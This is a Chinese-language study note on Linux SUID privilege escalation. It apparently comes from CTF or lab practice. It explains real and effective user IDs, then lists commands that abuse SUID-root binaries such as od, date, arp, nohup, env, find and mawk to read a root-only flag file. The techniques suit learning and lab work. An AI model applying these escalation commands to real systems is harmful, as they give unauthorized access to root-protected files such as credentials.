SUID提权
前言
学习一下sudo比较简单的提权,顺便补一下Linux的基础知识
基础知识
1 | -rwsr-xr-x |
总共有三种特殊权限
1 | 权限 符号 数值 作用 |
每个进程有三个用户 ID
1 | ID 全称 作用 |
普通程序执行时,RUID = EUID = 启动用户。
SUID 程序执行时,RUID = 启动用户 (如 1000),EUID = 文件所有者 (如 0, root)
所以当用SUID启动程序后,就可以凭借EUID赋予的root权限来进行所有操作
常见的提权模式有直接读取,程序自己读取文件并输出。
还有包装器执行,程序启动其他命令,子进程继承 EUID。也就是exc()不创建新进程,而是替换当前进程的代码,使得进程的 EUID 保持不变
编程语言,编程语言执行任意系统命令。
常见的查找命令
1 | # 查找所有 SUID 文件 |
记录整理
正常的文件
1 | ./usr/bin/chsh |
直接读取
od
/usr/bin/od
od是”八进制转储”命令,可以读取文件内容,因为它是root所有+SUID,所以用它就能以root权限读文件
1 | od -c /root/flag.txt |
nl
/usr/bin/nl
nl是一个简单的文本处理工具,用来给文件内容添加行号,所以可以直接给flag.txt添加行号然后输出
1 | nl /root/flag.txt |
print:
1 | 1 flag{baf569805d2349a1a3042c619cda7e50} |
join
/usr/bin/join
join是一个合并文件的工具,类似于数据库的 JOIN 操作
所以可以join /root/flag.txt /dev/null两个文件,但是这样没有输出,用 -a 1 可以输出file1 所有行
1 | join -a 1 /root/flag.txt /dev/null |
diff
/usr/bin/diff
diff是逐行比较两个文件
diff 目标文件 /dev/null 时,目标文件的所有行都会以 < 内容 形式输出。
1 | diff /root/flag.txt /dev/null |
grep
/usr/bin/grep
1 | grep -a . /root/flag.txt |
-a 把文件当文本处理, . 匹配任意字符
gzip
/usr/bin/gzip
用 -c (输出到 stdout)以 root 压缩 flag,再用普通 gzip 解压还原,
1 | gzip -c /root/flag.txt | gzip -dc |
1 | - gzip -c :SUID root 读文件并压缩输出到 stdout |
bzip2
/usr/bin/bzip2
和xz一样
1 | bzip2 -c /root/flag.txt | bzip2 -dc |
xz
/usr/bin/xz
xz是一个高压缩率的数据压缩工具,类似于 gzip 或 zip
1 | xz -dc /root/flag.txt.xz |
iconv
/usr/bin/iconv
iconv 是一个字符编码转换工具,用于在不同字符编码之间转换文本。
1 | iconv -f UTF-8 -t UTF-8 /root/flag.txt |
more
/usr/bin/more
1 | more /root/flag.txt |
head
/usr/bin/head
1 | head /root/flag.txt |
date
/usr/bin/date
date 不能直接输出文件内容,但 -f 会把文件的每一行当作日期解析,非法的行会原样出现在报错里
1 | date -f /root/flag.txt |
arp
/usr/sbin/arp
arp 是一个网络管理工具,用于查看和管理系统的 ARP(地址解析协议) 缓存表。
arp 支持 -f
1 | arp -v -f /root/flag.txt |
- 找到工具的 -f <文件> 这类”从文件读输入”的选项,让它解析目标文件
- 解析失败时用 -v /verbose 开关 让工具先回显输入行再报错,从而带出文件内容
cmp
/usr/bin/cmp
1 | dd if=/dev/zero of=/tmp/z bs=64 count=1 # 64 字节全零文件 |
csplit
/usr/bin/csplit
csplit是一个按上下文分割文件的工具,可以根据指定的模式将文件分割成多个部分
正常用法
1 | # 按行号分割 |
这里可以切到可写的 /tmp 让 root 把 flag 拆分成 xxNN 文件再读
1 | cd /tmp && csplit /root/flag.txt 1 |
mv
/usr/bin/mv
这个就简单了,直接移到/tmp里面然后cat
1 | mv /root/flag.txt /tmp/ |
install
/usr/bin/install
install是一个高级文件复制工具,常用于 Makefile 中安装程序。
所以可以用install设置flag的权限为rw-r–r–,复制到/tmp
1 | install -m 0644 /root/flag.txt /tmp/f |
包装器执行
nohup
/usr/bin/nohup
nohup是Linux/Unix系统中的一个命令,全称是”no hang up“不挂断),它的核心作用是让命令在用户退出终端后继续运行。
所以这里可以利用nohup让cat继承root的EUID,来读取flag.txt,但是这样会让把flag输入到nohup.out,二nohup文件还是需要root权限查看,所以可以重定向到/tmp文件夹中,这样普通用户直接cat就可以了,因为/tmp/f任何用户都可以访问
1 | nohup cat /root/flag.txt > /tmp/f |
nice
/usr/bin/nice
nice 是一个调整进程优先级的命令,用于控制程序占用 CPU 的多少。
正常用法
1 | # 以低优先级运行一个程序 |
所以可以用nice来cat flag
1 | nice cat /root/flag.txt |
ionice
/usr/bin/ionice
ionice是一个用于设置或查看进程 I/O 调度优先级的工具
1 | ionice cat /root/flag.txt |
choom
/usr/bin/choom
choom 是用来调整进程 OOM (Out-Of-Memory) killer 评分 的工具。当系统内存不足时,内核会根据这个评分来决定优先杀死哪个进程。其评分范围为 -1000 (永不杀死) 到 +1000 (优先杀死)
语法 choom -n 分数 命令
1 | choom -n 0 cat /root/flag.txt |
logsave
/usr/sbin/logsave
logsave是一个将命令输出同时保存到日志文件的工具。所以可以先创建tmp文件然后cat读取并存入,最后读取tmp文件
1 | touch /tmp/f |
flock
/usr/bin/flock
flock 是一个文件锁工具,用于管理文件的锁定状态,防止多个进程同时访问同一个文件。
正常用法
1 | flock 锁文件 命令 |
这里可以和nohup一样通过所文件来cat
1 | flock /tmp/l cat /root/flag.txt |
env
/usr/bin/env
正常用法
1 | # 查看当前环境变量 |
1 | env cat /root/flag.txt |
chroot
/usr/sbin/chroot
chroot 是一个更改进程根目录的工具,将指定目录设置为新的 /(根目录)
语法 chroot 新根目录 命令
1 | # 将根目录更改为 /new/root |
1 | chroot / cat /root/flag.txt |
timeout
/usr/bin/timeout
timeout是限时运行命令
语法:timeout 秒数 命令 [参数]
1 | timeout 5 cat /root/flag.txt |
find
/usr/bin/find
1 | find /root -maxdepth 1 -name 'flag*' -exec cat {} \; |
- find 路径 -exec 命令 {} ; :对每个匹配文件执行命令,SUID root 时 -exec 里的命令以 root 跑
- 常规姿势: find / -perm -4000 -type f 2>/dev/null (就是前面用来找 SUID 的命令)本身也是 find 的能力
编程语言
mawk
/usr/bin/mawk
mawk 是 AWK 编程语言 的一个实现
正常用法
1 | # 打印文件的第一列 |
AWK的程序结构是
1 | mawk '模式 { 动作 }' 文件名 |
所以可以直接打印出来
1 | mawk '{print}' /root/flag.txt |
